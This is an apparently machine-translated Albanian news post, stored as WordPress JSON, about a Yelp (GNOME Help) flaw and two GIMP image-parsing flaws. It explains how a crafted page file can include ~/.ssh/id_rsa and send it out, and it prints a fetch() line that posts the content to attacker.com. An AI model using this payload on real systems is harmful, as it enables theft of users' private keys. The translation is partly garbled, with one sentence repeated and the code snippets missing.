{"id":123434,"date":"2025-04-08T15:05:07","date_gmt":"2025-04-08T13:05:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov"},"modified":"2025-04-08T15:05:07","modified_gmt":"2025-04-08T13:05:07","slug":"uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","title":{"rendered":"Dobit\u00eb n\u00eb GNOME Help dhe GIMP q\u00eb lejojn\u00eb ekzekutimin e kodit kur hapen skedar\u00ebt","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb shikuesin Yelp, i cili p\u00ebrdoret si standard n\u00eb GNOME p\u00ebr pun\u00eb me manualet (GNOME Help), \u00ebsht\u00eb zbuluar nj\u00eb dob\u00ebsi (CVE-2025-3155) q\u00eb lejon ekzekutimin e kodit JavaScript t\u00eb rast\u00ebsish\u00ebm kur hapen skedar\u00eb page t\u00eb formatuar n\u00eb m\u00ebnyr\u00eb t\u00eb ve\u00e7ant\u00eb. Ekzekutimi i skenareve t\u00eb till\u00eb mund\u00ebson d\u00ebrgimin e skedar\u00ebve t\u00eb p\u00ebrdoruesit n\u00eb serverin e sulmuesit. Mund t\u00eb ndiqni rregullimin e dob\u00ebsis\u00eb n\u00eb shp\u00ebrndarjet e m\u00ebposhtme: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD. <\/p>\n

N\u00eb GNOME, p\u00ebr t\u00eb hapur skedar\u00eb me udh\u00ebzime referimi, regjistrohet URI \u00abghelp:\/\/\u00bb, i cili p\u00ebrpunohet p\u00ebrmes thirrjes Yelp. P\u00ebr t\u00eb kryer nj\u00eb sulm, sulmuesi duhet t\u00eb arrij\u00eb t\u00eb ngarkoj\u00eb skedarin e tij index.page n\u00eb sistemin e p\u00ebrdoruesit. P\u00ebr shembull, ai mund t\u00eb mashtroj\u00eb viktim\u00ebn p\u00ebr ta ngarkuar skedarin p\u00ebrmes shfletuesit, duke klikuar n\u00eb nj\u00eb lidhje n\u00eb faqen e tij. Pasi skedari t\u00eb ngarkohet, sulmuesi mund t\u00eb nxis\u00eb hapjen e k\u00ebtij dokumenti, duke drejtuar n\u00eb shfletues kalimin nga faqja e tij n\u00eb URL ghelp:\/\/ me rrug\u00ebn drejtuar n\u00eb katalogun ku \u00ebsht\u00eb ngarkuar skedari. P\u00ebr shembull, \u00abghelp:\/\/\/proc\/self\/cwd\/Downloads\u00bb, ku rruga \u00ab\/proc\/self\/cwd\u00bb \u00ebsht\u00eb e lidhur me katalogun e pun\u00ebs t\u00eb procesit aktual (kur ekzekutohet yelp, kjo do t\u00eb jet\u00eb katalogu i sht\u00ebpis\u00eb s\u00eb p\u00ebrdoruesit). <\/p>\n

Vulnerabiliteti buron nga p\u00ebrdorimi i formatit Mallard, i bazuar n\u00eb XML, n\u00eb skedar\u00ebt page. Ky format lejon futjen e p\u00ebrmbajtjeve t\u00eb skedareve t\u00eb tjera n\u00eb dokument, duke p\u00ebrdorur mekanizmin XInclude. P\u00ebr t\u00eb p\u00ebrfaq\u00ebsuar skedar\u00ebt page, programi Yelp i konverton ata nga XML n\u00eb HTML p\u00ebrmes XSLT (yelp-xsl), pastaj i shfaq me motorin WebKitGtk. Ideja \u00ebsht\u00eb t\u00eb arrihet futja e JavaScript n\u00eb skedarin HTML t\u00eb rezultatit dhe p\u00ebrdorimi i k\u00ebtij JavaScript p\u00ebr t\u00eb d\u00ebrguar n\u00eb serveri<\/a> p\u00ebrmbajtja e futur n\u00ebp\u00ebrmjet XInclude. <\/p>\n

P\u00ebr futur JavaScript, \u00ebsht\u00eb p\u00ebrdorur fakti q\u00eb XSLT kopjon disa elemente n\u00eb HTML pa analizuara, p\u00ebr shembull, transferon t\u00ebr\u00ebsisht elementin dhe t\u00eb gjith\u00eb p\u00ebrmbajtjen e brendshme. K\u00ebshtu, p\u00ebr t\u00eb d\u00ebrguar skedarin \"~\/.ssh\/id_rsa\", mjafton t\u00eb futet n\u00eb dokumentin page me direktiv\u00ebn \"include\": server<\/a> P\u00ebr skedarin \u00ab~\/ .ssh\/id_rsa\u00bb mjafton ta vendosni at\u00eb n\u00eb dokumentin e faqes me direktiv\u00ebn \u00abinclude\u00bb: <\/p>\n

Pas k\u00ebsaj, shtoni p\u00ebrmes elementit thirrjen JavaScript me kodin p\u00ebr t\u00eb d\u00ebrguar nj\u00eb POST k\u00ebrkes\u00eb n\u00eb nj\u00eb server t\u00eb jasht\u00ebm, duke p\u00ebrdorur funksionin fetch(): onload=_=>fetch('http:\/\/attacker.com\/',{method:'POST',body:document.body.outerHTML,mode:'no-cors'}) <\/p>\n

P\u00ebrve\u00e7 k\u00ebsaj, mund t\u00eb theksohen dy vulnerabilitete (CVE-2025-2761, CVE-2025-2760) n\u00eb editorin grafik GIMP, q\u00eb \u00e7ojn\u00eb n\u00eb ekzekutimin e kodit nga sulmuesi kur p\u00ebrdoruesi hap imazhe t\u00eb p\u00ebrgatitura posa\u00e7\u00ebrisht n\u00eb formatet XWD dhe FLI. T\u00eb dy vulnerabilitetet shkaktohen nga mungesa e kontrollit t\u00eb duhur t\u00eb madh\u00ebsis\u00eb s\u00eb t\u00eb dh\u00ebnave q\u00eb kopjohen n\u00eb bufer gjat\u00eb procesit t\u00eb analiz\u00ebs s\u00eb p\u00ebrmbajtjes s\u00eb skedar\u00ebve. Vulnerabilitetet jan\u00eb eliminuar n\u00eb versionin GIMP 3.0.0.
\n
Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0449\u0438\u043a\u0435 Yelp, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432 GNOME \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u044b\u043c\u0438 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\u043c\u0438 (GNOME Help), \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-3155), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 page-\u0444\u0430\u0439\u043b\u043e\u0432. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e. \u041f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0445: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-123434","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabilitetet n\u00eb GNOME Help dhe GIMP, q\u00eb lejojn\u00eb ekzekutimin e kodit gjat\u00eb hapjes s\u00eb skedar\u00ebve | ProHoster","description":"N\u00eb shikuesin Yelp, i p\u00ebrdorur si parazgjedhje n\u00eb GNOME p\u00ebr t\u00eb punuar me manualet (GNOME Help), \u00ebsht\u00eb zbuluar nj\u00eb vulnerabilitet (CVE-2025-3155) q\u00eb lejon ekzekutimin e kodit JavaScript t\u00eb rast\u00ebsish\u00ebm gjat\u00eb hapjes s\u00eb skedar\u00ebve t\u00eb formatuar posa\u00e7\u00ebrisht si page. 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